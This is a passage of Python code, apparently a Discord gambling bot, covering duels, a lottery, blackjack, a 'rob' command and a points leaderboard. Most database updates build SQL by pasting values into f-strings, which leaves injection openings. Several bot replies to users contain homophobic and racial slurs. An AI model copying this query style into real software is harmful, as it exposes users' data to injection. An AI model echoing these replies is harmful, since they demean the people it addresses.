# USER NAME\r\n user_name = str(f\"{user_display_name}\") # text split up from arg\r\n image_editable.text((194, 245), user_name, fill=(0, 0, 0), font=title_font) # black shadow/outline\r\n image_editable.text((193, 244), user_name, fill=(0, 255, 255), font=title_font) # actual text\r\n\r\n # SIT\r\n title_font = ImageFont.truetype('osrs-font.ttf', 40) # text and font size\r\n image_editable.text((10, 11), sit_text, fill=(0, 0, 0), font=title_font) # black shadow/outline\r\n image_editable.text((9, 10), sit_text, fill=(0, 255, 255), font=title_font) # actual text\r\n\r\n imagePath = str(imagePath).replace(\".png\", \"\")\r\n fullOutPath = f\"{outPath}/9999999999{imagePath}{z + 1}.png\"\r\n # fullOutPath contains the path of the output\r\n # image that needs to be generated\r\n # img = img.rotate(180)\r\n\r\n img.save(fullOutPath, optimize=True, quality=95)\r\n\r\n img.close()\r\n\r\n # make gif\r\n image_folder = 'gut/'\r\n\r\n images = []\r\n for file_name in sorted(os.listdir(image_folder)):\r\n if file_name.endswith('.png'):\r\n file_path = os.path.join(image_folder, file_name)\r\n images.append(imageio.imread(file_path))\r\n imageio.mimsave('hehe.gif', images)\r\n\r\n # cleanup folder\r\n [f.unlink() for f in Path(\"gut\").glob(\"*\") if f.is_file()]\r\n\r\n msg1 = await interaction.channel.send(file=discord.File(\"hehe.gif\"))\r\n await asyncio.sleep((2+(1*hits)+1)) #edit time to match gif\r\n\r\n #HAND OUT POINTS\r\n author_table = checkIfUserinDB(author_ID)\r\n author_points = int(author_table[0][2])\r\n\r\n opponent_table = checkIfUserinDB(opponent.id)\r\n opponent_points = int(opponent_table[0][2])\r\n\r\n winner_table = checkIfUserinDB(winner_id.id)\r\n winner_points = int(winner_table[0][2])\r\n\r\n if winner_id.id == author_ID:\r\n mycursor.execute( #author WIN\r\n f\"update gambledb.points set points = {author_points + amount*2}, duelWin = {int(author_table[0][6])+1},duelProfit={int(author_table[0][8])+amount} where authorID = {author_ID}\")\r\n mycursor.execute( #opponent LOSE\r\n f\"update gambledb.points set points = {opponent_points}, duelLose = {int(opponent_table[0][7]) + 1},duelProfit={int(opponent_table[0][8]) - amount} where authorID = {opponent.id}\")\r\n else:\r\n mycursor.execute( #opponent WIN\r\n f\"update gambledb.points set points = {opponent_points + amount*2}, duelWin = {int(opponent_table[0][6])+1},duelProfit={int(opponent_table[0][8])+amount} where authorID = {opponent.id}\")\r\n mycursor.execute( #author LOSE\r\n f\"update gambledb.points set points = {author_points}, duelLose = {int(author_table[0][7]) + 1},duelProfit={int(author_table[0][8]) - amount} where authorID = {author_ID}\")\r\n\r\n db.commit()\r\n\r\n\r\n await msg1.edit(f\"gz on win **`{winner_id.display_name}`**. Gain `{amount}` points. Total points : {winner_points+amount*2}\")\r\n\r\n\r\n else: #point check\r\n await interaction.response.send_message(f\" either you or {author_men.display_name} miss points\",ephemeral=True)\r\n\r\ndef checkIfUserHasTickets(user_ID, lotteryID):\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.lottery where userID = {user_ID} and lotteryID = {lotteryID}\"\r\n )\r\n table = mycursor.fetchall()\r\n\r\n return table\r\n\r\n\r\nclass MyView1(discord.ui.View):\r\n @discord.ui.select( # the decorator that lets you specify the properties of the select menu\r\n placeholder=\"Which times are you available (IN GMT)!\", # the placeholder text that will be displayed if nothing is selected\r\n min_values=1, # the minimum number of values that must be selected by the users\r\n max_values=24, # the maxmimum number of values that can be selected by the users\r\n options=[ # the list of options from which users can choose, a required field\r\n discord.SelectOption(\r\n label=\"00-01\",\r\n ), discord.SelectOption(\r\n label=\"01-02\",\r\n ), discord.SelectOption(\r\n label=\"02-03\",\r\n ), discord.SelectOption(\r\n label=\"03-04\",\r\n ), discord.SelectOption(\r\n label=\"04-05\",\r\n ), discord.SelectOption(\r\n label=\"05-06\",\r\n ), discord.SelectOption(\r\n label=\"06-07\",\r\n ), discord.SelectOption(\r\n label=\"07-08\",\r\n ), discord.SelectOption(\r\n label=\"08-09\",\r\n ), discord.SelectOption(\r\n label=\"09-10\",\r\n ), discord.SelectOption(\r\n label=\"10-11\",\r\n ), discord.SelectOption(\r\n label=\"11-12\",\r\n ), discord.SelectOption(\r\n label=\"12-13\",\r\n ), discord.SelectOption(\r\n label=\"13-14\",\r\n ), discord.SelectOption(\r\n label=\"14-15\",\r\n ), discord.SelectOption(\r\n label=\"15-16\",\r\n ), discord.SelectOption(\r\n label=\"16-17\",\r\n ), discord.SelectOption(\r\n label=\"17-18\",\r\n ), discord.SelectOption(\r\n label=\"18-19\",\r\n ), discord.SelectOption(\r\n label=\"19-20\",\r\n ), discord.SelectOption(\r\n label=\"20-21\",\r\n ), discord.SelectOption(\r\n label=\"21-22\",\r\n ), discord.SelectOption(\r\n label=\"22-23\",\r\n ), discord.SelectOption(\r\n label=\"23-24\",\r\n )\r\n ]\r\n )\r\n async def select_callback(self, select,interaction): # the function called when the user is done selecting options\r\n await interaction.response.send_message(\r\n f\"{interaction.user.display_name}. Your available times {select.values} have been submitted\", ephemeral=True)\r\n print(select.values)\r\n\r\n\r\n\r\nclass lotteryButton(discord.ui.View):\r\n # Define the actual button\r\n # When pressed, this increments the number displayed until it hits 5.\r\n # When it hits 5, the counter button is disabled and it turns green.\r\n # NOTE: The name of the function does not matter to the library\r\n @discord.ui.button(label=\"First ticket free\", style=discord.ButtonStyle.green, emoji=\"🆓\")\r\n async def get_free_ticket(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n embed = (interaction.message.embeds[0])\r\n embed_dict = embed.to_dict()\r\n lotteryID = embed_dict[\"footer\"][\"text\"]\r\n\r\n table_check = checkIfUserinDB(interaction.user.id)\r\n\r\n if len(table_check) > 0:\r\n table = checkIfUserHasTickets(interaction.user.id,lotteryID)\r\n\r\n if len(table) == 0:\r\n mycursor.execute(\r\n f\"INSERT INTO gambledb.lottery (userID, ticketAmount, displayName, lotteryID) \"\r\n f\"VALUES (%s, %s, %s, %s)\",\r\n (interaction.user.id, 1, interaction.user.display_name, lotteryID))\r\n db.commit()\r\n await interaction.response.send_message(\"<:uwu:904501797069160488>You have gotten a free ticket! Total tickets: `1`<:uwu:904501797069160488>\", ephemeral=True)\r\n else:\r\n await interaction.response.send_message(\"<:LaupIQ:809630782586224640>You already have tickets! Only first free!<:LaupIQ:809630782586224640>\",ephemeral=True)\r\n else:\r\n addUserToDB(interaction.user.id, interaction.user.display_name)\r\n mycursor.execute(\r\n f\"INSERT INTO gambledb.lottery (userID, ticketAmount, displayName, lotteryID) \"\r\n f\"VALUES (%s, %s, %s, %s)\",\r\n (interaction.user.id, 1, interaction.user.display_name, lotteryID))\r\n db.commit()\r\n await interaction.response.send_message(\r\n \"<:uwu:904501797069160488>You have gotten a free ticket! Total tickets: `1`<:uwu:904501797069160488>\",\r\n ephemeral=True)\r\n\r\n\r\n @discord.ui.button(label=\"Buy 1 ticket\", style=discord.ButtonStyle.primary, emoji=\"1️⃣\")\r\n async def buy_one_ticket(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n #print(\"buy 1\")\r\n embed = (interaction.message.embeds[0])\r\n embed_dict = embed.to_dict()\r\n lotteryID = embed_dict[\"footer\"][\"text\"]\r\n table = checkIfUserHasTickets(interaction.user.id, lotteryID)\r\n\r\n\r\n user_points_table = checkIfUserinDB(interaction.user.id)\r\n user_points = int(user_points_table[0][2])\r\n #print(user_points)\r\n\r\n if len(table) == 0 and user_points >= 1000:\r\n await interaction.response.send_message(\"Get a free ticket first!\",ephemeral=True)\r\n elif len(table) > 0 and user_points >= 1000:\r\n user_tickets = int(table[0][1])\r\n mycursor.execute(\r\n f\"update gambledb.lottery set ticketAmount = {user_tickets+1} where userID = {interaction.user.id} and lotteryID = {lotteryID}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {user_points-1000} where authorID = {interaction.user.id}\")\r\n\r\n db.commit()\r\n\r\n await interaction.response.send_message(f\"Total tickets {user_tickets+1}. Balance: {user_points-1000}\", ephemeral=True)\r\n else:\r\n await interaction.response.send_message(\"Too poor fuck off\",ephemeral=True)\r\n\r\n\r\n @discord.ui.button(label=\"Buy 10 tickets\", style=discord.ButtonStyle.primary, emoji=\"🔟\")\r\n async def buy_ten_tickets(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n #print(\"buy 10\")\r\n embed = (interaction.message.embeds[0])\r\n embed_dict = embed.to_dict()\r\n lotteryID = embed_dict[\"footer\"][\"text\"]\r\n table = checkIfUserHasTickets(interaction.user.id, lotteryID)\r\n\r\n user_points_table = checkIfUserinDB(interaction.user.id)\r\n user_points = int(user_points_table[0][2])\r\n #print(user_points)\r\n\r\n if len(table) == 0 and user_points >= 10000:\r\n await interaction.response.send_message(\"Get a free ticket first!\", ephemeral=True)\r\n elif len(table) > 0 and user_points >= 10000:\r\n user_tickets = int(table[0][1])\r\n mycursor.execute(\r\n f\"update gambledb.lottery set ticketAmount = {user_tickets + 10} where userID = {interaction.user.id} and lotteryID = {lotteryID}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {user_points - 10000} where authorID = {interaction.user.id}\")\r\n\r\n db.commit()\r\n\r\n await interaction.response.send_message(f\"Total tickets {user_tickets + 10}. Balance: {user_points - 10000}\",\r\n ephemeral=True)\r\n else:\r\n await interaction.response.send_message(\"Too poor fuck off\", ephemeral=True)\r\n\r\n @discord.ui.button(label=\"Lottery role(for ping)\", style=discord.ButtonStyle.primary, emoji=\"🏓\")\r\n async def get_lottery_role(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n user_roles = [r.id for r in interaction.user.roles]\r\n role = discord.utils.get(interaction.user.guild.roles, id=996897096814837941)\r\n\r\n if 996897096814837941 in user_roles:\r\n await interaction.user.remove_roles(role)\r\n await interaction.response.send_message(\"Lottery role has been removed - react again to get it back\",ephemeral=True)\r\n\r\n else:\r\n await interaction.user.add_roles(role)\r\n await interaction.response.send_message(\"Lottery role has been added - react again to remove\",ephemeral=True)\r\n\r\n\r\n\r\nclass BjButtons(discord.ui.View):\r\n # Define the actual button\r\n # When pressed, this increments the number displayed until it hits 5.\r\n # When it hits 5, the counter button is disabled and it turns green.\r\n # NOTE: The name of the function does not matter to the library\r\n @discord.ui.button(label=\"Hit\", style=discord.ButtonStyle.green, emoji=\"🎯\")\r\n async def count(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n cardx, valuex = pickCard() #FOR AUTHOR\r\n #print(f\"cardx {cardx}\")\r\n #print(f\"valuex {valuex}\")\r\n\r\n embed = (interaction.message.embeds[0])\r\n embed_dict = embed.to_dict()\r\n\r\n interactionUserID = embed_dict[\"footer\"][\"text\"] #CHECKS IF RIGHT ID\r\n if not interaction.user.id == int(interactionUserID):\r\n await interaction.response.send_message(\" Gamba on your own faggot \",ephemeral=True)\r\n\r\n else:\r\n ############### GET PESOS AMOUNT\r\n pesos_amount = \"\"\r\n for m in str(embed_dict[\"title\"]):\r\n if m.isdigit():\r\n pesos_amount = pesos_amount + m\r\n pesos_amount = int(pesos_amount)\r\n\r\n #print(embed_dict)\r\n for field in embed_dict[\"fields\"]:\r\n if \"You\" in field[\"name\"]:\r\n get_numbers = field[\"name\"] #gets field of author_points\r\n #print(get_numbers)\r\n length_get = len(get_numbers) #len of strength\r\n new_data = int(get_numbers[length_get-2:length_get]) #gets number (always last 2 letters cuz of space)\r\n #print(f\"newdata {new_data}\")\r\n get_cards = field[\"value\"]\r\n #print(f\"getcards {get_cards}\")\r\n\r\n\r\n new_get_cards = f\"{get_cards}, {cardx}\" #added latest card draw\r\n number_of_aces = new_get_cards.count(\"A\")\r\n #print(number_of_aces)\r\n\r\n author_roll_total = new_data+int(valuex) #total including new roll\r\n #print(f\"total {author_roll_total}\")\r\n if author_roll_total > 21 and number_of_aces > 0:\r\n author_roll_total = author_roll_total-10\r\n new_get_cards = new_get_cards.replace(\"A\",\"a\")\r\n\r\n # SETS NEW VALUES!\r\n field[\"name\"] = f\"You | {author_roll_total}\"\r\n #print(field[\"value\"])\r\n field[\"value\"] = new_get_cards\r\n\r\n table = checkIfUserinDB(interaction.user.id)\r\n author_points = int(table[0][2])\r\n embed = discord.Embed.from_dict(embed_dict)\r\n if author_roll_total == 21: #win\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount * 2)}, bjWin ={(int(table[0][9]))+1}, bjProfit = {(int(table[0][11]))+pesos_amount} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n embed.add_field(name=\"Winner\", value=f\"You won {pesos_amount} points. Total {author_points+(pesos_amount*2)}\") # ADD POINTS\r\n\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif author_roll_total > 21: #LOSE\r\n embed.add_field(name=\"Loser\", value=f\"You lost {pesos_amount} points. Total {author_points}\") #REMOVE POINTS\r\n mycursor.execute(\r\n f\"update gambledb.points set bjLose ={(int(table[0][10])) + 1}, bjProfit = {(int(table[0][11])) - pesos_amount} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n await interaction.response.edit_message(embed=embed,view=None)\r\n else: #hit again xD\r\n await interaction.response.edit_message(embed=embed, view=self)\r\n\r\n\r\n @discord.ui.button(label=\"Stand\", style=discord.ButtonStyle.red, emoji=\"🛑\")\r\n async def count1(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n embed = (interaction.message.embeds[0])\r\n embed_dict = embed.to_dict()\r\n #print(embed_dict)\r\n\r\n interactionUserID = embed_dict[\"footer\"][\"text\"] # CHECKS IF RIGHT ID\r\n if not interaction.user.id == int(interactionUserID):\r\n await interaction.response.send_message(\r\n \" Gamba on your own faggot \",\r\n ephemeral=True)\r\n\r\n else:\r\n\r\n #GET PESOS AMOUNT\r\n ############### GET PESOS AMOUNT\r\n pesos_amount = \"\"\r\n for m in str(embed_dict[\"title\"]):\r\n if m.isdigit():\r\n pesos_amount = pesos_amount + m\r\n pesos_amount = int(pesos_amount)\r\n\r\n ############### DEALER DATA\r\n for field in embed_dict[\"fields\"]:\r\n if \"Dealer\" in field[\"name\"]:\r\n get_numbers = field[\"name\"] # gets field of Dealer_points\r\n #print(get_numbers)\r\n length_get = len(get_numbers) # len of strength\r\n new_data = int(get_numbers[length_get - 2:length_get]) # gets number (always last 2 letters cuz of space)\r\n #print(f\"newdata {new_data}\")\r\n get_cards = field[\"value\"]\r\n #print(f\"getcards {get_cards}\")\r\n\r\n new_get_cards = get_cards\r\n ######### DRAW 1\r\n\r\n cardx, valuex = pickCard()\r\n #print(f\"NEW DRAWWWWWW {cardx}\")\r\n new_get_cards = f\"{new_get_cards}, {cardx}\" # added latest card draw\r\n number_of_aces = new_get_cards.count(\"A\")\r\n #print(number_of_aces)\r\n\r\n author_roll_total = new_data + int(valuex) # total including new roll\r\n #print(f\"total {author_roll_total}\")\r\n if author_roll_total > 21 and number_of_aces > 0:\r\n author_roll_total = author_roll_total - 10\r\n new_get_cards = new_get_cards.replace(\"A\", \"a\")\r\n\r\n\r\n while author_roll_total < 17:\r\n cardx1, valuex1 = pickCard() # FOR DEALER\r\n\r\n new_get_cards = f\"{new_get_cards}, {cardx1}\" # added latest card draw\r\n number_of_aces = new_get_cards.count(\"A\")\r\n #print(number_of_aces)\r\n\r\n author_roll_total = author_roll_total + int(valuex1) # total including new roll\r\n #print(f\"total {author_roll_total}\")\r\n if author_roll_total > 21 and number_of_aces > 0:\r\n author_roll_total = author_roll_total - 10\r\n new_get_cards = new_get_cards.replace(\"A\", \"a\")\r\n\r\n\r\n # SETS NEW VALUES!\r\n field[\"name\"] = f\"Dealer | {author_roll_total}\"\r\n #print(field[\"value\"])\r\n field[\"value\"] = new_get_cards\r\n\r\n DEALER_POINTS = author_roll_total\r\n\r\n ########## AUTHOR DATA\r\n for field in embed_dict[\"fields\"]:\r\n if \"You\" in field[\"name\"]:\r\n get_numbers = field[\"name\"] # gets field of Authoir Points\r\n #print(get_numbers)\r\n length_get = len(get_numbers) # len of strength\r\n AUTHOR_POINTS = int(get_numbers[length_get - 2:length_get]) # gets number (always last 2 letters cuz of space)\r\n #print(f\"AUTHOR_POINTSAUTHOR_POINTSAUTHOR_POINTSAUTHOR_POINTS {AUTHOR_POINTS}\")\r\n\r\n\r\n table = checkIfUserinDB(interaction.user.id)\r\n author_points = int(table[0][2])\r\n\r\n embed = discord.Embed.from_dict(embed_dict)\r\n\r\n\r\n if DEALER_POINTS > 21:\r\n embed.add_field(name=\"Winner\",value=f\"You won {pesos_amount} points. Total {author_points+(pesos_amount*2)}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount * 2)}, bjWin ={(int(table[0][9]))+1}, bjProfit = {(int(table[0][11]))+pesos_amount} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif DEALER_POINTS > AUTHOR_POINTS:\r\n embed.add_field(name=\"Loser\",value=f\"You lost {pesos_amount} points. Total {author_points}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set bjLose ={(int(table[0][10])) + 1}, bjProfit = {(int(table[0][11])) - pesos_amount} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif DEALER_POINTS < AUTHOR_POINTS:\r\n embed.add_field(name=\"Winner\",value=f\"You won {pesos_amount} points, Total {author_points+pesos_amount*2}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount * 2)}, bjWin ={(int(table[0][9]))+1}, bjProfit = {(int(table[0][11]))+pesos_amount} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif DEALER_POINTS == AUTHOR_POINTS:\r\n embed.add_field(name=\"Draw\",value=f\"No change\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount)} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n\r\n\r\n @discord.ui.button(label=\"Double\", style=discord.ButtonStyle.primary, emoji=\"⏭️\")\r\n async def count2(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n embed = (interaction.message.embeds[0])\r\n embed_dict = embed.to_dict()\r\n\r\n #print(embed_dict)\r\n\r\n interactionUserID = embed_dict[\"footer\"][\"text\"] # CHECKS IF RIGHT ID\r\n if not interaction.user.id == int(interactionUserID):\r\n await interaction.response.send_message(\" Gamba on your own faggot \",ephemeral=True)\r\n else:\r\n pesos_amount = \"\"\r\n for m in str(embed_dict[\"title\"]):\r\n if m.isdigit():\r\n pesos_amount = pesos_amount + m\r\n pesos_amount = int(pesos_amount)\r\n\r\n table = checkIfUserinDB(interaction.user.id)\r\n author_points = int(table[0][2])\r\n\r\n if author_points >= pesos_amount:\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points - pesos_amount} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n #### author Draw one card\r\n cardx, valuex = pickCard() # FOR AUTHOR\r\n # print(embed_dict)\r\n for field in embed_dict[\"fields\"]:\r\n if \"You\" in field[\"name\"]:\r\n get_numbers = field[\"name\"] # gets field of author_points\r\n # print(get_numbers)\r\n length_get = len(get_numbers) # len of strength\r\n new_data = int(\r\n get_numbers[length_get - 2:length_get]) # gets number (always last 2 letters cuz of space)\r\n # print(f\"newdata {new_data}\")\r\n get_cards = field[\"value\"]\r\n # print(f\"getcards {get_cards}\")\r\n\r\n new_get_cards = f\"{get_cards}, {cardx}\" # added latest card draw\r\n number_of_aces = new_get_cards.count(\"A\")\r\n # print(number_of_aces)\r\n\r\n author_roll_total = new_data + int(valuex) # total including new roll\r\n # print(f\"total {author_roll_total}\")\r\n if author_roll_total > 21 and number_of_aces > 0:\r\n author_roll_total = author_roll_total - 10\r\n new_get_cards = new_get_cards.replace(\"A\", \"a\")\r\n\r\n # SETS NEW VALUES!\r\n field[\"name\"] = f\"You | {author_roll_total}\"\r\n # print(field[\"value\"])\r\n field[\"value\"] = new_get_cards\r\n\r\n embed = discord.Embed.from_dict(embed_dict)\r\n new_authro_rollo = int(author_roll_total)\r\n\r\n table = checkIfUserinDB(interaction.user.id)\r\n author_points = int(table[0][2])\r\n #print(f\"AUTHOR ROLLLLLLLLL {author_roll_total}\")\r\n if author_roll_total > 21:\r\n #LOSE\r\n #print(\"LOSE 1\")\r\n mycursor.execute(\r\n f\"update gambledb.points set bjLose ={(int(table[0][10])) + 1}, bjProfit = {(int(table[0][11])) - pesos_amount * 2} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n embed.add_field(name=\"Loser\", value=f\"You lost {pesos_amount*2} points. Total {author_points}\")\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif author_roll_total == 21:\r\n #WIN\r\n #print(\"WIN2323\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount * 4)}, bjWin ={(int(table[0][9])) + 1}, bjProfit = {(int(table[0][11])) + pesos_amount * 2} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n embed.add_field(name=\"Winner\",value=f\"You won {pesos_amount*4} points, Total {author_points + pesos_amount * 4}\")\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n else:\r\n #print(\"DEALER ROLLS\")\r\n #DEALER ROLLS\r\n embed_dict = embed.to_dict()\r\n for field in embed_dict[\"fields\"]:\r\n if \"Dealer\" in field[\"name\"]:\r\n get_numbers = field[\"name\"] # gets field of Dealer_points\r\n # print(get_numbers)\r\n length_get = len(get_numbers) # len of strength\r\n new_data = int(get_numbers[\r\n length_get - 2:length_get]) # gets number (always last 2 letters cuz of space)\r\n # print(f\"newdata {new_data}\")\r\n get_cards = field[\"value\"]\r\n # print(f\"getcards {get_cards}\")\r\n\r\n new_get_cards = get_cards\r\n ######### DRAW 1\r\n\r\n cardx, valuex = pickCard()\r\n # print(f\"NEW DRAWWWWWW {cardx}\")\r\n new_get_cards = f\"{new_get_cards}, {cardx}\" # added latest card draw\r\n number_of_aces = new_get_cards.count(\"A\")\r\n # print(number_of_aces)\r\n\r\n author_roll_total = new_data + int(valuex) # total including new roll\r\n # print(f\"total {author_roll_total}\")\r\n if author_roll_total > 21 and number_of_aces > 0:\r\n author_roll_total = author_roll_total - 10\r\n new_get_cards = new_get_cards.replace(\"A\", \"a\")\r\n\r\n while author_roll_total < 17:\r\n cardx1, valuex1 = pickCard() # FOR DEALER\r\n\r\n new_get_cards = f\"{new_get_cards}, {cardx1}\" # added latest card draw\r\n number_of_aces = new_get_cards.count(\"A\")\r\n # print(number_of_aces)\r\n\r\n author_roll_total = author_roll_total + int(valuex1) # total including new roll\r\n # print(f\"total {author_roll_total}\")\r\n if author_roll_total > 21 and number_of_aces > 0:\r\n author_roll_total = author_roll_total - 10\r\n new_get_cards = new_get_cards.replace(\"A\", \"a\")\r\n\r\n # SETS NEW VALUES!\r\n field[\"name\"] = f\"Dealer | {author_roll_total}\"\r\n # print(field[\"value\"])\r\n field[\"value\"] = new_get_cards\r\n\r\n DEALER_POINTS = author_roll_total\r\n #print(f\"DEALER POINTS {DEALER_POINTS}\")\r\n\r\n embed = discord.Embed.from_dict(embed_dict)\r\n if DEALER_POINTS > 21:\r\n #print(\"NEW 1\")\r\n embed.add_field(name=\"Winner\",\r\n value=f\"You won {pesos_amount*2} points. Total {author_points + (pesos_amount * 4)}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount * 4)}, bjWin ={(int(table[0][9])) + 1}, bjProfit = {(int(table[0][11])) + pesos_amount * 2} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif DEALER_POINTS > new_authro_rollo:\r\n #print(\"NEW 2\")\r\n embed.add_field(name=\"Loser\",\r\n value=f\"You lost {pesos_amount*2} points. Total {author_points}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set bjLose ={(int(table[0][10])) + 1}, bjProfit = {(int(table[0][11])) - pesos_amount*2} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif DEALER_POINTS < new_authro_rollo:\r\n #print(\"NEW 3\")\r\n embed.add_field(name=\"Winner\",\r\n value=f\"You won {pesos_amount*2} points, Total {author_points + pesos_amount * 4}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount * 4)}, bjWin ={(int(table[0][9])) + 1}, bjProfit = {(int(table[0][11])) + pesos_amount*2} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n elif DEALER_POINTS == new_authro_rollo:\r\n #print(\"NEW 4\")\r\n embed.add_field(name=\"Draw\", value=f\"No change\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + (pesos_amount*2)} where authorID = {interaction.user.id}\")\r\n db.commit()\r\n await interaction.response.edit_message(embed=embed, view=None)\r\n\r\n\r\n else:\r\n button.disabled = True\r\n await interaction.response.edit_message(view=self)\r\n\r\n\r\n\r\nclass Gambling(commands.Cog):\r\n def __init__(self, bot):\r\n self.client = bot\r\n\r\n @commands.command(aliases=[\"pts\",\"Points\"])\r\n async def points(self, ctx, member_check : discord.Member = None):\r\n if not member_check:\r\n member_check = ctx.author\r\n\r\n table = checkIfUserinDB(member_check.id)\r\n\r\n if len(table) < 1:\r\n addUserToDB(member_check.id, member_check.display_name)\r\n else:\r\n await ctx.send(f\"{member_check.display_name} has {table[0][2]} points\")\r\n\r\n\r\n @commands.command()\r\n @commands.cooldown(1,3600,commands.BucketType.user)\r\n async def rob(self, ctx, *, rob_member):\r\n #######ADD remove cd\r\n #print(rob_member)\r\n try:\r\n member = discord.utils.get(ctx.guild.members, name=f\"{rob_member}\")\r\n except:\r\n pass\r\n if not member:\r\n try:\r\n member = discord.utils.get(ctx.guild.members, display_name=f\"{rob_member}\")\r\n except:\r\n pass\r\n if not member:\r\n #print(\"1\")\r\n try: #GETS member from ID\r\n member = ctx.message.guild.get_member(int(rob_member))\r\n except:\r\n pass\r\n if not member:\r\n #print(\"2\")\r\n try:\r\n if len(ctx.message.mentions) > 0: #ping\r\n member = ctx.message.guild.get_member(int(ctx.message.mentions[0].id))\r\n except:\r\n pass\r\n\r\n #print(member.display_name)\r\n\r\n if not member:\r\n self.rob.reset_cooldown(ctx)\r\n embed = discord.Embed(\r\n description=f\"Could not find {rob_member}\"\r\n )\r\n await ctx.send(embed=embed, delete_after=5)\r\n else:\r\n member_table = checkIfUserinDB(member.id)\r\n author_table = checkIfUserinDB(ctx.author.id)\r\n author_points = int(author_table[0][2])\r\n member_points = int(member_table[0][2])\r\n #print(author_points)\r\n #print(member_points)\r\n\r\n if len(member_table) < 1:\r\n await ctx.send(f\"{member} is not added. Do !points / !daily to get points\")\r\n if len(author_table) < 1:\r\n await ctx.send(f\"{ctx.author} is not added. Do !points / !daily to get points\")\r\n\r\n rob_roll = random.randint(0,100)\r\n\r\n if rob_roll < 11:\r\n #rob fail<\r\n rob_lose_percent = random.uniform(0.05,0.5)\r\n loss = round(rob_lose_percent*author_points)\r\n #print(loss)\r\n mycursor.execute( # takes author points\r\n f\"update gambledb.points set points = {author_points - loss} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n mycursor.execute( # gives member points\r\n f\"update gambledb.points set points = {member_points + loss} where authorID = {member.id}\")\r\n db.commit()\r\n\r\n await ctx.send(f\"Man u dumb as fk. {member.display_name} slapped you and took {loss} points.\")\r\n\r\n elif rob_roll > 10 and rob_roll < 21:\r\n #rob success\r\n rob_win_percent = random.uniform(0.1, 0.5)\r\n win = round(rob_win_percent * member_points)\r\n #print(win)\r\n mycursor.execute( # gives author points\r\n f\"update gambledb.points set points = {author_points + win} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n mycursor.execute( # takes member points\r\n f\"update gambledb.points set points = {member_points - win} where authorID = {member.id}\")\r\n db.commit()\r\n\r\n await ctx.send(f\"Good shit nigga. You fked up {member.display_name} and took {win} points\")\r\n\r\n else:\r\n rob_gifs = [\"https://c.tenor.com/LoQoNueBMw0AAAAd/travis-scott-travis-scott-apology.gif\",\r\n \"https://tenor.com/view/shitter-alert-cake-gif-19194039\",\r\n \"https://i.imgur.com/ydb4bgT.mp4\",\r\n \"https://tenor.com/view/stealing-with-class-throw-bricks-hit-head-robber-fail-burglar-fail-gif-12487079\",\r\n \"https://tenor.com/view/gun-fail-robber-crime-gif-13607306\",\r\n \"https://tenor.com/view/glass-bump-head-robberyfail-crime-does-not-pay-gif-14054904\",\r\n \"https://tenor.com/view/thief-stole-fail-thief-fail-gif-14524400\",\r\n \"https://tenor.com/view/smart-fail-attempt-fat-criminal-gif-4565900\",\r\n \"https://tenor.com/view/kick-smash-fight-thief-robbery-gif-16929456\",\r\n \"https://gfycat.com/forkedindeliblebagworm\",\r\n \"https://gfycat.com/jubilantdelayedkingsnake\",\r\n \"https://gfycat.com/leadingdarlingacornbarnacle\",\r\n \"https://gfycat.com/relievedelaborateblackbird\",\r\n \"https://gfycat.com/unhappyinfamousacornweevil\",\r\n \"https://c.tenor.com/YRfbbNtKwjsAAAAd/punching-boxing.gif\",\r\n \"https://c.tenor.com/FVWRijjY-eEAAAAd/froze-stop-moving.gif\"]\r\n await ctx.send(random.choice(rob_gifs))\r\n\r\n @commands.command(aliases=[\"lbs\",\"LB\",\"LBS\",\"Lb\"])\r\n async def lb(self, ctx, amount : int = None):\r\n \"\"\" LEADERBOARD FOR POINTS XDDD\"\"\"\r\n if not amount:\r\n amount = 10\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by abs(points) desc limit {amount};\"\r\n )\r\n table = mycursor.fetchall()\r\n\r\n msg_str = \"\"\r\n for num in range(min(len(table),amount)):\r\n rank_number = num+1\r\n ranked = num+1\r\n if rank_number == 1: # change 1.2.3.\r\n 